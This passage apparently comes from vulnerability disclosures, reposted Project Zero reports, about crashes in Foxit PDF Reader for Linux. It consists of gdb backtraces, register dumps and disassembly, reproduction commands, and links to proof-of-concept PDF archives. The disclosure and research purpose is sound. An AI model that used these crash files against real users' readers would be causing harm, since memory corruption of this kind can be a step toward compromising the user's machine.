0xaab97d <_ZNK22CFX_BaseSegmentedArray12IterateIndexEiRiPPvPFiS1_S1_ES1_+111>: cmp %ebp,%eax
0xaab97f <_ZNK22CFX_BaseSegmentedArray12IterateIndexEiRiPPvPFiS1_S1_ES1_+113>:
jg 0xaab96c <_ZNK22CFX_BaseSegmentedArray12IterateIndexEiRiPPvPFiS1_S1_ES1_+94>
0xaab981 <_ZNK22CFX_BaseSegmentedArray12IterateIndexEiRiPPvPFiS1_S1_ES1_+115>:
jmp 0xaab99f <_ZNK22CFX_BaseSegmentedArray12IterateIndexEiRiPPvPFiS1_S1_ES1_+145>
0xaab983 <_ZNK22CFX_BaseSegmentedArray12IterateIndexEiRiPPvPFiS1_S1_ES1_+117>: mov 0xc(%rsp),%esi
0xaab987 <_ZNK22CFX_BaseSegmentedArray12IterateIndexEiRiPPvPFiS1_S1_ES1_+121>: mov %r15,%r9
(gdb) info reg
rax 0x7c 124
rbx 0x1a66130 27681072
rcx 0xe1a704fcae02ca58 -2186773610767398312
rdx 0x7fffffffceec 140737488342764
rsi 0x2f 47
rdi 0x1a66130 27681072
rbp 0x0 0x0
rsp 0x7fffffffce90 0x7fffffffce90
r8 0xab0f92 11210642
r9 0x6a83f4ca 1787032778
r10 0xfd 253
r11 0x0 0
r12 0x7fffffffceec 140737488342764
r13 0xe1a704fcae02ca58 -2186773610767398312
r14 0xab0f92 11210642
r15 0x6a83f4ca 1787032778
rip 0xaab96c 0xaab96c <CFX_BaseSegmentedArray::IterateIndex(int, int&, void**, int (*)(void*, void*), void*) const+94>
eflags 0x10202 [ IF RF ]
cs 0x33 51
ss 0x2b 43
ds 0x0 0
es 0x0 0
fs 0x0 0
gs 0x0 0
--- cut ---
Attached are three proof of concept PDF files.
There is another crash likely related to this issue:
--- cut ---
Program received signal SIGSEGV, Segmentation fault.
0x0000000000ab0f94 in _CMapLookupCallback(void*, void*) ()
(gdb) where
#0 0x0000000000ab0f94 in _CMapLookupCallback(void*, void*) ()
#1 0x0000000000aab8e4 in CFX_BaseSegmentedArray::IterateSegment(unsigned char const*, int, int (*)(void*, void*), void*) const ()
#2 0x0000000000aab9dc in CFX_BaseSegmentedArray::Iterate(int (*)(void*, void*), void*) const ()
#3 0x0000000000ab1a99 in CFX_CMapByteStringToPtr::Lookup(CFX_ByteStringC const&, void*&) const ()
#4 0x00000000007db5df in CPDF_Dictionary::KeyExist(CFX_ByteStringC const&) const ()
#5 0x000000000070e6a6 in CBMTreeCtrl::GotoBookmark(CPDF_Bookmark, CPDF_Bookmark) ()
#6 0x000000000070e6e3 in CBMTreeCtrl::GotoBookmark(CPDF_Bookmark, CPDF_Bookmark) ()
#7 0x000000000070f986 in CBMTreeCtrl::on_ItemExpanded(QTreeWidgetItem*) ()
#8 0x00007ffff63682a6 in QMetaObject::activate(QObject*, int, int, void**) ()
from /usr/lib/x86_64-linux-gnu/libQt5Core.so.5
#9 0x00007ffff7722612 in QTreeWidget::itemExpanded(QTreeWidgetItem*) ()
from /usr/lib/x86_64-linux-gnu/libQt5Widgets.so.5
#10 0x00007ffff63682a6 in QMetaObject::activate(QObject*, int, int, void**) ()
from /usr/lib/x86_64-linux-gnu/libQt5Core.so.5
#11 0x00007ffff76ecc92 in QTreeView::expanded(QModelIndex const&) ()
from /usr/lib/x86_64-linux-gnu/libQt5Widgets.so.5
#12 0x00007ffff76f8903 in QTreeView::expand(QModelIndex const&) ()
from /usr/lib/x86_64-linux-gnu/libQt5Widgets.so.5
#13 0x00007ffff7724e44 in QTreeWidget::expandItem(QTreeWidgetItem const*) ()
from /usr/lib/x86_64-linux-gnu/libQt5Widgets.so.5
#14 0x000000000070a0cb in CBMTreeView::ReBuildTree_Proc(CFX_BookMarkPanelToolHandler*, CPDF_Document*, CPDF_Bookmark, QTreeWidgetItem*, int, int) ()
#15 0x000000000070a4c7 in CBMTreeView::ReBuildTree_Proc(CFX_BookMarkPanelToolHandler*, CPDF_Document*, CPDF_Bookmark, QTreeWidgetItem*, int, int) ()
#16 0x000000000070beb6 in CBMTreeView::ReBuildTree(int) ()
#17 0x000000000051eaff in CChildFrame::GetPanelMgrEx (this=0x196cf90)
at ../../Readerlite/ReaderLite/src/childframe.cpp:91
x#18 0x00000000005000c1 in CReader_DocViewEx::InitViewData (this=0x191dce0)
at ../../Readerlite/ReaderLite/src/frd_docviewex.cpp:61
#19 0x000000000048e691 in CPDF_OwnerFileTypeHandler::OpenContinueNormal (this=0x1468c50, pdoc=0x19194b0,
filePath=...) at ../../Readerlite/ReaderLite/src/pdfeventhandler.cpp:99
/#20 0x000000000048f754 in CPDF_OwnerFileTypeHandler::DoOpen (this=0x1468c50, csFilterName=...,
wsPathName=...) at ../../Readerlite/ReaderLite/src/pdfeventhandler.cpp:216
#21 0x000000000045d038 in CReader_AppEx::OwnerFileTypeHandlerDoOpen (this=0x144a920, csFDFFile=...)
at ../../Readerlite/ReaderLite/src/frd_appex.cpp:941
1#22 0x000000000043caac in CMainWindow::OpenFile (this=0x1468760, fileName=...)
at ../../Readerlite/ReaderLite/src/mainwindow.cpp:434
#23 0x0000000000439da9 in main (argc=2, argv=0x7fffffffe288) at ../../Readerlite/ReaderLite/src/main.cpp:301
(gdb) x/10i $rip
=> 0xab0f94 <_Z19_CMapLookupCallbackPvS_+2>: cmp %edi,(%rsi)
0xab0f96 <_Z19_CMapLookupCallbackPvS_+4>: jne 0xab0fa1 <_Z19_CMapLookupCallbackPvS_+15>
0xab0f98 <_Z19_CMapLookupCallbackPvS_+6>: xor %eax,%eax
0xab0f9a <_Z19_CMapLookupCallbackPvS_+8>: cmpb $0xfe,0x4(%rsi)
0xab0f9e <_Z19_CMapLookupCallbackPvS_+12>: setne %al
0xab0fa1 <_Z19_CMapLookupCallbackPvS_+15>: xor $0x1,%eax
0xab0fa4 <_Z19_CMapLookupCallbackPvS_+18>: retq
0xab0fa5 <_CompareDWord>: mov (%rdi),%eax
0xab0fa7 <_CompareDWord+2>: sub (%rsi),%eax
0xab0fa9 <_CompareDWord+4>: retq
(gdb) info reg $rsi
rsi 0x71 113
--- cut ---
Attached are three further files which reproduce the crash (note that MALLOC_CHECK_=3 might be necessary).
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39944.zip
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=743
We have identified the following memory corruption vulnerability in Foxit PDF Reader (version 1.0.1.0925 for Linux 64-bit), when started with a specially crafted PDF file in the following way:
$ DISPLAY=:1 FoxitReader /path/to/poc/file.pdf
The DISPLAY=:1 environment variable is set due to the fact that we are testing the application with a virtual X server (Xvfb), but the issue should be equally reproducible with the program started with standard display settings, too.
An example excerpt from the crash log is as follows:
--- cut ---
Program received signal SIGSEGV, Segmentation fault.
0x00000000008ee95d in kdu_core::kdu_codestream::get_subsampling(int, kdu_core::kdu_coords&, bool) ()
(gdb) info reg $rdx
rdx 0x90ff9fc23e15101d -7998498756572671971
(gdb) where
#0 0x00000000008ee95d in kdu_core::kdu_codestream::get_subsampling(int, kdu_core::kdu_coords&, bool) ()
#1 0x0000000000922297 in kdu_supp::kdu_region_decompressor::start(kdu_core::kdu_codestream, kdu_supp::kdu_channel_mapping*, int, int, int, kdu_core::kdu_dims, kdu_core::kdu_coords, kdu_core::kdu_coords, bool, kdu_core::kdu_component_access_mode, bool, kdu_core::kdu_thread_env*, kdu_core::kdu_thread_queue*) ()
#2 0x00000000008bd50d in CJPX_Decoder::Start(unsigned char*, int, int, unsigned char*) ()
#3 0x00000000007f8d77 in CPDF_DIBSource::StartLoadJpxBitmap() ()
#4 0x00000000007f9137 in CPDF_DIBSource::CreateDecoder() ()
#5 0x00000000007fadb0 in CPDF_DIBSource::StartLoadDIBSource(CPDF_Document*, CPDF_Stream const*, int, CPDF_Dictionary*, CPDF_Dictionary*, int, unsigned int, int) ()
#6 0x00000000007f2f74 in CPDF_ImageCache::StartGetCachedBitmap(CPDF_Dictionary*, CPDF_Dictionary*, int, unsigned int, int, CPDF_RenderStatus*, int, int) ()
#7 0x00000000007f3ba0 in CPDF_PageRenderCache::StartGetCachedBitmap(CPDF_Stream*, int, unsigned int, int, CPDF_RenderStatus*, int, int) ()
#8 0x00000000007fb00d in CPDF_ProgressiveImageLoaderHandle::Start(CPDF_ImageLoader*, CPDF_ImageObject const*, CPDF_PageRenderCache*, int, unsigned int, int, CPDF_RenderStatus*, int, int) ()
#9 0x00000000007fb13b in CPDF_ImageLoader::StartLoadImage(CPDF_ImageObject const*, CPDF_PageRenderCache*, void*&, int, unsigned int, int, CPDF_RenderStatus*, int, int) ()
#10 0x00000000007f42ff in CPDF_ImageRenderer::StartLoadDIBSource() ()
#11 0x00000000007f6782 in CPDF_ImageRenderer::Start(CPDF_RenderStatus*, CPDF_PageObject const*, CFX_Matrix const*, int, int) ()
#12 0x00000000007f1689 in CPDF_RenderStatus::ContinueSingleObject(CPDF_PageObject const*, CFX_Matrix const*, IFX_Pause*) ()
#13 0x00000000007f237a in CPDF_ProgressiveRenderer::Continue(IFX_Pause*) ()
#14 0x000000000061d75d in CPDFViewerPageEx::Rendering(CFX_DIBitmap*, int, int, int, int, int, CPDF_RenderOptions*) ()
#15 0x000000000061d9cb in CPDFViewerPageEx::DrawPageContent(CFX_DIBitmap*, CFX_ViewRect&) ()
#16 0x000000000061da6a in CPDFViewerEx::DrawPages(CFX_DIBitmap*) ()
#17 0x000000000061daa8 in CPDFViewerEx::Paint(CFX_DIBitmap*) ()
#18 0x000000000061daf1 in CPDFViewerEx::ContinueRendering() ()
#19 0x000000000061de17 in CPDFViewerEx::GetRenderData(int) ()
#20 0x000000000044b274 in CPDF_TVPreview::paintEvent (this=0x1946d30)
at ../../Readerlite/ReaderLite/src/preview.cpp:1305
#21 0x00007ffff74c2302 in QWidget::event(QEvent*) () from /usr/lib/x86_64-linux-gnu/libQt5Widgets.so.5
#22 0x00007ffff7486c8c in QApplicationPrivate::notify_helper(QObject*, QEvent*) ()
from /usr/lib/x86_64-linux-gnu/libQt5Widgets.so.5
#23 0x00007ffff748be56 in QApplication::notify(QObject*, QEvent*) ()
from /usr/lib/x86_64-linux-gnu/libQt5Widgets.so.5
#24 0x00007ffff6340c2d in QCoreApplication::notifyInternal(QObject*, QEvent*) ()
from /usr/lib/x86_64-linux-gnu/libQt5Core.so.5
#25 0x00007ffff74bcbea in QWidgetPrivate::drawWidget(QPaintDevice*, QRegion const&, QPoint const&, int, QPainter*, QWidgetBackingStore*) () from /usr/lib/x86_64-linux-gnu/libQt5Widgets.so.5
#26 0x00007ffff74bd5bc in QWidgetPrivate::paintSiblingsRecursive(QPaintDevice*, QList<QObject*> const&, int, QRegion const&, QPoint const&, int, QPainter*, QWidgetBackingStore*) ()
from /usr/lib/x86_64-linux-gnu/libQt5Widgets.so.5
#27 0x00007ffff74bc786 in QWidgetPrivate::drawWidget(QPaintDevice*, QRegion const&, QPoint const&, int, QPainter*, QWidgetBackingStore*) () from /usr/lib/x86_64-linux-gnu/libQt5Widgets.so.5
#28 0x00007ffff74bd5bc in QWidgetPrivate::paintSiblingsRecursive(QPaintDevice*, QList<QObject*> const&, int, QRegion const&, QPoint const&, int, QPainter*, QWidgetBackingStore*) ()
from /usr/lib/x86_64-linux-gnu/libQt5Widgets.so.5
#29 0x00007ffff74bd434 in QWidgetPrivate::paintSiblingsRecursive(QPaintDevice*, QList<QObject*> const&, int, QRegion const&, QPoint const&, int, QPainter*, QWidgetBackingStore*) ()
from /usr/lib/x86_64-linux-gnu/libQt5Widgets.so.5
#30 0x00007ffff74bc786 in QWidgetPrivate::drawWidget(QPaintDevice*, QRegion const&, QPoint const&, int, QPainter*, QWidgetBackingStore*) () from /usr/lib/x86_64-linux-gnu/libQt5Widgets.so.5
#31 0x00007ffff74bd5bc in QWidgetPrivate::paintSiblingsRecursive(QPaintDevice*, QList<QObject*> const&, int, QRegion const&, QPoint const&, int, QPainter*, QWidgetBackingStore*) ()
from /usr/lib/x86_64-linux-gnu/libQt5Widgets.so.5
#32 0x00007ffff74bc786 in QWidgetPrivate::drawWidget(QPaintDevice*, QRegion const&, QPoint const&, int, QPainter*, QWidgetBackingStore*) () from /usr/lib/x86_64-linux-gnu/libQt5Widgets.so.5
#33 0x00007ffff74bd5bc in QWidgetPrivate::paintSiblingsRecursive(QPaintDevice*, QList<QObject*> const&, int, QRegion const&, QPoint const&, int, QPainter*, QWidgetBackingStore*) ()
from /usr/lib/x86_64-linux-gnu/libQt5Widgets.so.5
#34 0x00007ffff74bd434 in QWidgetPrivate::paintSiblingsRecursive(QPaintDevice*, QList<QObject*> const&, int, Q---Type <return> to continue, or q <return> to quit---
Region const&, QPoint const&, int, QPainter*, QWidgetBackingStore*) ()
from /usr/lib/x86_64-linux-gnu/libQt5Widgets.so.5
#35 0x00007ffff74bd434 in QWidgetPrivate::paintSiblingsRecursive(QPaintDevice*, QList<QObject*> const&, int, QRegion const&, QPoint const&, int, QPainter*, QWidgetBackingStore*) ()
from /usr/lib/x86_64-linux-gnu/libQt5Widgets.so.5
#36 0x00007ffff74bd434 in QWidgetPrivate::paintSiblingsRecursive(QPaintDevice*, QList<QObject*> const&, int, QRegion const&, QPoint const&, int, QPainter*, QWidgetBackingStore*) ()
from /usr/lib/x86_64-linux-gnu/libQt5Widgets.so.5
#37 0x00007ffff74bc786 in QWidgetPrivate::drawWidget(QPaintDevice*, QRegion const&, QPoint const&, int, QPainter*, QWidgetBackingStore*) () from /usr/lib/x86_64-linux-gnu/libQt5Widgets.so.5
#38 0x00007ffff74bd5bc in QWidgetPrivate::paintSiblingsRecursive(QPaintDevice*, QList<QObject*> const&, int, QRegion const&, QPoint const&, int, QPainter*, QWidgetBackingStore*) ()
from /usr/lib/x86_64-linux-gnu/libQt5Widgets.so.5
#39 0x00007ffff74bd434 in QWidgetPrivate::paintSiblingsRecursive(QPaintDevice*, QList<QObject*> const&, int, QRegion const&, QPoint const&, int, QPainter*, QWidgetBackingStore*) ()
from /usr/lib/x86_64-linux-gnu/libQt5Widgets.so.5
#40 0x00007ffff74bc786 in QWidgetPrivate::drawWidget(QPaintDevice*, QRegion const&, QPoint const&, int, QPainter*, QWidgetBackingStore*) () from /usr/lib/x86_64-linux-gnu/libQt5Widgets.so.5
#41 0x00007ffff7493233 in ?? () from /usr/lib/x86_64-linux-gnu/libQt5Widgets.so.5
#42 0x00007ffff7493941 in ?? () from /usr/lib/x86_64-linux-gnu/libQt5Widgets.so.5
#43 0x00007ffff74e0973 in ?? () from /usr/lib/x86_64-linux-gnu/libQt5Widgets.so.5
#44 0x00007ffff7486c8c in QApplicationPrivate::notify_helper(QObject*, QEvent*) ()
from /usr/lib/x86_64-linux-gnu/libQt5Widgets.so.5
#45 0x00007ffff748be56 in QApplication::notify(QObject*, QEvent*) ()
from /usr/lib/x86_64-linux-gnu/libQt5Widgets.so.5
#46 0x00007ffff6340c2d in QCoreApplication::notifyInternal(QObject*, QEvent*) ()
from /usr/lib/x86_64-linux-gnu/libQt5Core.so.5
#47 0x00007ffff6860ea6 in QGuiApplicationPrivate::processExposeEvent(QWindowSystemInterfacePrivate::ExposeEvent*) () from /usr/lib/x86_64-linux-gnu/libQt5Gui.so.5
#48 0x00007ffff6861995 in QGuiApplicationPrivate::processWindowSystemEvent(QWindowSystemInterfacePrivate::WindowSystemEvent*) () from /usr/lib/x86_64-linux-gnu/libQt5Gui.so.5
#49 0x00007ffff684a858 in QWindowSystemInterface::sendWindowSystemEvents(QFlags<QEventLoop::ProcessEventsFlag>) () from /usr/lib/x86_64-linux-gnu/libQt5Gui.so.5
#50 0x00007fffecc415b0 in ?? () from /usr/lib/x86_64-linux-gnu/qt5/plugins/platforms/libqxcb.so
#51 0x00007ffff4a79e04 in g_main_context_dispatch () from /lib/x86_64-linux-gnu/libglib-2.0.so.0
#52 0x00007ffff4a7a048 in ?? () from /lib/x86_64-linux-gnu/libglib-2.0.so.0
#53 0x00007ffff4a7a0ec in g_main_context_iteration () from /lib/x86_64-linux-gnu/libglib-2.0.so.0
#54 0x00007ffff638d98c in QEventDispatcherGlib::processEvents(QFlags<QEventLoop::ProcessEventsFlag>) ()
from /usr/lib/x86_64-linux-gnu/libQt5Core.so.5
#55 0x00007ffff633f96b in QEventLoop::exec(QFlags<QEventLoop::ProcessEventsFlag>) ()
from /usr/lib/x86_64-linux-gnu/libQt5Core.so.5
#56 0x00007ffff63460e1 in QCoreApplication::exec() () from /usr/lib/x86_64-linux-gnu/libQt5Core.so.5
#57 0x0000000000439e25 in main (argc=2, argv=0x7fffffffe298) at ../../Readerlite/ReaderLite/src/main.cpp:310
(gdb) x/10i $rip
=> 0x8ee95d <_ZN8kdu_core14kdu_codestream15get_subsamplingEiRNS_10kdu_coordsEb+135>: mov 0x4(%rdx),%rcx
0x8ee961 <_ZN8kdu_core14kdu_codestream15get_subsamplingEiRNS_10kdu_coordsEb+139>: mov %rcx,(%rbx)
0x8ee964 <_ZN8kdu_core14kdu_codestream15get_subsamplingEiRNS_10kdu_coordsEb+142>:
movslq 0x320(%rax),%rcx
0x8ee96b <_ZN8kdu_core14kdu_codestream15get_subsamplingEiRNS_10kdu_coordsEb+149>: mov 0x4(%rbx),%esi
0x8ee96e <_ZN8kdu_core14kdu_codestream15get_subsamplingEiRNS_10kdu_coordsEb+152>:
movzbl 0x19(%rdx,%rcx,1),%ecx
0x8ee973 <_ZN8kdu_core14kdu_codestream15get_subsamplingEiRNS_10kdu_coordsEb+157>: shl %cl,%esi
0x8ee975 <_ZN8kdu_core14kdu_codestream15get_subsamplingEiRNS_10kdu_coordsEb+159>:
movslq 0x320(%rax),%rcx
0x8ee97c <_ZN8kdu_core14kdu_codestream15get_subsamplingEiRNS_10kdu_coordsEb+166>: mov %esi,0x4(%rbx)
0x8ee97f <_ZN8kdu_core14kdu_codestream15get_subsamplingEiRNS_10kdu_coordsEb+169>:
movzbl 0x3a(%rdx,%rcx,1),%ecx
0x8ee984 <_ZN8kdu_core14kdu_codestream15get_subsamplingEiRNS_10kdu_coordsEb+174>: mov (%rbx),%edx
(gdb) info reg $rdx
rdx 0x90ff9fc23e15101d -7998498756572671971
(gdb) x/10wx $dx
0x101d: Cannot access memory at address 0x101d
(gdb) x/10wx $rdx
0x90ff9fc23e15101d: Cannot access memory at address 0x90ff9fc23e15101d
--- cut ---
Attached is a proof of concept PDF file.
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39943.zip
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=744
We have identified the following crash due to an out-of-bounds read in Foxit PDF Reader (version 1.0.1.0925 for Linux 64-bit), when started with a specially crafted PDF file in the following way:
$ MALLOC_CHECK_=3 DISPLAY=:1 FoxitReader /path/to/poc/file.pdf
The MALLOC_CHECK_=3 environment variable is used to enforce strict checks in the libc memory allocator, while DISPLAY=:1 is set due to the fact that we are testing the application with a virtual X server (Xvfb), but the issue should be equally reproducible with the program started with standard display settings, too.
An example excerpt from the crash log is as follows:
--- cut ---
Program received signal SIGSEGV, Segmentation fault.
0x00000000007fb462 in CPDF_DIBSource::TranslateScanline24bpp(unsigned char*, unsigned char const*) const ()
(gdb) where
#0 0x00000000007fb462 in CPDF_DIBSource::TranslateScanline24bpp(unsigned char*, unsigned char const*) const
()
#1 0x00000000007fbd6c in CPDF_DIBSource::GetScanline(int) const ()
#2 0x000000000084b849 in CFX_DIBSource::Clone(FX_RECT const*) const ()
#3 0x00000000007f2e71 in CPDF_ImageCache::ContinueGetCachedBitmap() ()
#4 0x00000000007f2f9e in CPDF_ImageCache::StartGetCachedBitmap(CPDF_Dictionary*, CPDF_Dictionary*, int, unsigned int, int, CPDF_RenderStatus*, int, int) ()
#5 0x00000000007f3ba0 in CPDF_PageRenderCache::StartGetCachedBitmap(CPDF_Stream*, int, unsigned int, int, CPDF_RenderStatus*, int, int) ()
#6 0x00000000007fb00d in CPDF_ProgressiveImageLoaderHandle::Start(CPDF_ImageLoader*, CPDF_ImageObject const*, CPDF_PageRenderCache*, int, unsigned int, int, CPDF_RenderStatus*, int, int) ()
#7 0x00000000007fb13b in CPDF_ImageLoader::StartLoadImage(CPDF_ImageObject const*, CPDF_PageRenderCache*, void*&, int, unsigned int, int, CPDF_RenderStatus*, int, int) ()
#8 0x00000000007f42ff in CPDF_ImageRenderer::StartLoadDIBSource() ()
#9 0x00000000007f6782 in CPDF_ImageRenderer::Start(CPDF_RenderStatus*, CPDF_PageObject const*, CFX_Matrix const*, int, int) ()
#10 0x00000000007f1689 in CPDF_RenderStatus::ContinueSingleObject(CPDF_PageObject const*, CFX_Matrix const*, IFX_Pause*) ()
#11 0x00000000007f237a in CPDF_ProgressiveRenderer::Continue(IFX_Pause*) ()
#12 0x000000000061d75d in CPDFViewerPageEx::Rendering(CFX_DIBitmap*, int, int, int, int, int, CPDF_RenderOptions*) ()
#13 0x000000000061d9cb in CPDFViewerPageEx::DrawPageContent(CFX_DIBitmap*, CFX_ViewRect&) ()
#14 0x000000000061da6a in CPDFViewerEx::DrawPages(CFX_DIBitmap*) ()
#15 0x000000000061daa8 in CPDFViewerEx::Paint(CFX_DIBitmap*) ()
#16 0x000000000061daf1 in CPDFViewerEx::ContinueRendering() ()
#17 0x000000000061de17 in CPDFViewerEx::GetRenderData(int) ()
#18 0x000000000044b274 in CPDF_TVPreview::paintEvent (this=0x191fca0)
at ../../Readerlite/ReaderLite/src/preview.cpp:1305
#19 0x00007ffff74c2302 in QWidget::event(QEvent*) () from /usr/lib/x86_64-linux-gnu/libQt5Widgets.so.5
#20 0x00007ffff7486c8c in QApplicationPrivate::notify_helper(QObject*, QEvent*) ()
from /usr/lib/x86_64-linux-gnu/libQt5Widgets.so.5
#21 0x00007ffff748be56 in QApplication::notify(QObject*, QEvent*) ()
from /usr/lib/x86_64-linux-gnu/libQt5Widgets.so.5
#22 0x00007ffff6340c2d in QCoreApplication::notifyInternal(QObject*, QEvent*) ()
from /usr/lib/x86_64-linux-gnu/libQt5Core.so.5
#23 0x00007ffff74bcbea in QWidgetPrivate::drawWidget(QPaintDevice*, QRegion const&, QPoint const&, int, QPainter*, QWidgetBackingStore*) () from /usr/lib/x86_64-linux-gnu/libQt5Widgets.so.5
#24 0x00007ffff74bd5bc in QWidgetPrivate::paintSiblingsRecursive(QPaintDevice*, QList<QObject*> const&, int, QRegion const&, QPoint const&, int, QPainter*, QWidgetBackingStore*) ()
from /usr/lib/x86_64-linux-gnu/libQt5Widgets.so.5
#25 0x00007ffff74bc786 in QWidgetPrivate::drawWidget(QPaintDevice*, QRegion const&, QPoint const&, int, QPainter*, QWidgetBackingStore*) () from /usr/lib/x86_64-linux-gnu/libQt5Widgets.so.5
#26 0x00007ffff74bd5bc in QWidgetPrivate::paintSiblingsRecursive(QPaintDevice*, QList<QObject*> const&, int, QRegion const&, QPoint const&, int, QPainter*, QWidgetBackingStore*) ()
from /usr/lib/x86_64-linux-gnu/libQt5Widgets.so.5
#27 0x00007ffff74bd434 in QWidgetPrivate::paintSiblingsRecursive(QPaintDevice*, QList<QObject*> const&, int, QRegion const&, QPoint const&, int, QPainter*, QWidgetBackingStore*) ()
from /usr/lib/x86_64-linux-gnu/libQt5Widgets.so.5
#28 0x00007ffff74bc786 in QWidgetPrivate::drawWidget(QPaintDevice*, QRegion const&, QPoint const&, int, QPainter*, QWidgetBackingStore*) () from /usr/lib/x86_64-linux-gnu/libQt5Widgets.so.5
#29 0x00007ffff74bd5bc in QWidgetPrivate::paintSiblingsRecursive(QPaintDevice*, QList<QObject*> const&, int, QRegion const&, QPoint const&, int, QPainter*, QWidgetBackingStore*) ()
from /usr/lib/x86_64-linux-gnu/libQt5Widgets.so.5
#30 0x00007ffff74bc786 in QWidgetPrivate::drawWidget(QPaintDevice*, QRegion const&, QPoint const&, int, QPainter*, QWidgetBackingStore*) () from /usr/lib/x86_64-linux-gnu/libQt5Widgets.so.5
#31 0x00007ffff74bd5bc in QWidgetPrivate::paintSiblingsRecursive(QPaintDevice*, QList<QObject*> const&, int, QRegion const&, QPoint const&, int, QPainter*, QWidgetBackingStore*) ()
from /usr/lib/x86_64-linux-gnu/libQt5Widgets.so.5
#32 0x00007ffff74bd434 in QWidgetPrivate::paintSiblingsRecursive(QPaintDevice*, QList<QObject*> const&, int, QRegion const&, QPoint const&, int, QPainter*, QWidgetBackingStore*) ()
from /usr/lib/x86_64-linux-gnu/libQt5Widgets.so.5
#33 0x00007ffff74bd434 in QWidgetPrivate::paintSiblingsRecursive(QPaintDevice*, QList<QObject*> const&, int, QRegion const&, QPoint const&, int, QPainter*, QWidgetBackingStore*) ()
---Type <return> to continue, or q <return> to quit---
from /usr/lib/x86_64-linux-gnu/libQt5Widgets.so.5
#34 0x00007ffff74bd434 in QWidgetPrivate::paintSiblingsRecursive(QPaintDevice*, QList<QObject*> const&, int, QRegion const&, QPoint const&, int, QPainter*, QWidgetBackingStore*) ()
from /usr/lib/x86_64-linux-gnu/libQt5Widgets.so.5
#35 0x00007ffff74bc786 in QWidgetPrivate::drawWidget(QPaintDevice*, QRegion const&, QPoint const&, int, QPainter*, QWidgetBackingStore*) () from /usr/lib/x86_64-linux-gnu/libQt5Widgets.so.5
#36 0x00007ffff74bd5bc in QWidgetPrivate::paintSiblingsRecursive(QPaintDevice*, QList<QObject*> const&, int, QRegion const&, QPoint const&, int, QPainter*, QWidgetBackingStore*) ()
from /usr/lib/x86_64-linux-gnu/libQt5Widgets.so.5
#37 0x00007ffff74bd434 in QWidgetPrivate::paintSiblingsRecursive(QPaintDevice*, QList<QObject*> const&, int, QRegion const&, QPoint const&, int, QPainter*, QWidgetBackingStore*) ()
from /usr/lib/x86_64-linux-gnu/libQt5Widgets.so.5
#38 0x00007ffff74bc786 in QWidgetPrivate::drawWidget(QPaintDevice*, QRegion const&, QPoint const&, int, QPainter*, QWidgetBackingStore*) () from /usr/lib/x86_64-linux-gnu/libQt5Widgets.so.5
#39 0x00007ffff7493233 in ?? () from /usr/lib/x86_64-linux-gnu/libQt5Widgets.so.5
#40 0x00007ffff7493941 in ?? () from /usr/lib/x86_64-linux-gnu/libQt5Widgets.so.5
#41 0x00007ffff74e0973 in ?? () from /usr/lib/x86_64-linux-gnu/libQt5Widgets.so.5
#42 0x00007ffff7486c8c in QApplicationPrivate::notify_helper(QObject*, QEvent*) ()
from /usr/lib/x86_64-linux-gnu/libQt5Widgets.so.5
#43 0x00007ffff748be56 in QApplication::notify(QObject*, QEvent*) ()
from /usr/lib/x86_64-linux-gnu/libQt5Widgets.so.5
#44 0x00007ffff6340c2d in QCoreApplication::notifyInternal(QObject*, QEvent*) ()
from /usr/lib/x86_64-linux-gnu/libQt5Core.so.5
#45 0x00007ffff6860ea6 in QGuiApplicationPrivate::processExposeEvent(QWindowSystemInterfacePrivate::ExposeEvent*) () from /usr/lib/x86_64-linux-gnu/libQt5Gui.so.5
#46 0x00007ffff6861995 in QGuiApplicationPrivate::processWindowSystemEvent(QWindowSystemInterfacePrivate::WindowSystemEvent*) () from /usr/lib/x86_64-linux-gnu/libQt5Gui.so.5
#47 0x00007ffff684a858 in QWindowSystemInterface::sendWindowSystemEvents(QFlags<QEventLoop::ProcessEventsFlag>) () from /usr/lib/x86_64-linux-gnu/libQt5Gui.so.5
#48 0x00007fffecc415b0 in ?? () from /usr/lib/x86_64-linux-gnu/qt5/plugins/platforms/libqxcb.so
#49 0x00007ffff4a79e04 in g_main_context_dispatch () from /lib/x86_64-linux-gnu/libglib-2.0.so.0
#50 0x00007ffff4a7a048 in ?? () from /lib/x86_64-linux-gnu/libglib-2.0.so.0
#51 0x00007ffff4a7a0ec in g_main_context_iteration () from /lib/x86_64-linux-gnu/libglib-2.0.so.0
#52 0x00007ffff638d98c in QEventDispatcherGlib::processEvents(QFlags<QEventLoop::ProcessEventsFlag>) ()
from /usr/lib/x86_64-linux-gnu/libQt5Core.so.5
#53 0x00007ffff633f96b in QEventLoop::exec(QFlags<QEventLoop::ProcessEventsFlag>) ()
from /usr/lib/x86_64-linux-gnu/libQt5Core.so.5
#54 0x00007ffff63460e1 in QCoreApplication::exec() () from /usr/lib/x86_64-linux-gnu/libQt5Core.so.5
#55 0x0000000000439e25 in main (argc=2, argv=0x7fffffffe288) at ../../Readerlite/ReaderLite/src/main.cpp:310
(gdb) x/10i $rip
=> 0x7fb462 <_ZNK14CPDF_DIBSource22TranslateScanline24bppEPhPKh+188>: mov 0x2(%rbp),%dl
0x7fb465 <_ZNK14CPDF_DIBSource22TranslateScanline24bppEPhPKh+191>: add $0x3,%r13
0x7fb469 <_ZNK14CPDF_DIBSource22TranslateScanline24bppEPhPKh+195>: add $0x3,%rbp
0x7fb46d <_ZNK14CPDF_DIBSource22TranslateScanline24bppEPhPKh+199>: inc %eax
0x7fb46f <_ZNK14CPDF_DIBSource22TranslateScanline24bppEPhPKh+201>: mov %dl,-0x3(%r13)
0x7fb473 <_ZNK14CPDF_DIBSource22TranslateScanline24bppEPhPKh+205>: mov -0x2(%rbp),%dl
0x7fb476 <_ZNK14CPDF_DIBSource22TranslateScanline24bppEPhPKh+208>: mov %dl,-0x2(%r13)
0x7fb47a <_ZNK14CPDF_DIBSource22TranslateScanline24bppEPhPKh+212>: mov -0x3(%rbp),%dl
0x7fb47d <_ZNK14CPDF_DIBSource22TranslateScanline24bppEPhPKh+215>: mov %dl,-0x1(%r13)
0x7fb481 <_ZNK14CPDF_DIBSource22TranslateScanline24bppEPhPKh+219>:
jmp 0x7fb459 <_ZNK14CPDF_DIBSource22TranslateScanline24bppEPhPKh+179>
(gdb) info reg $rbp
rbp 0x1a30fff 0x1a30fff
--- cut ---
Attached is a proof of concept PDF file.
Proof of Concept:
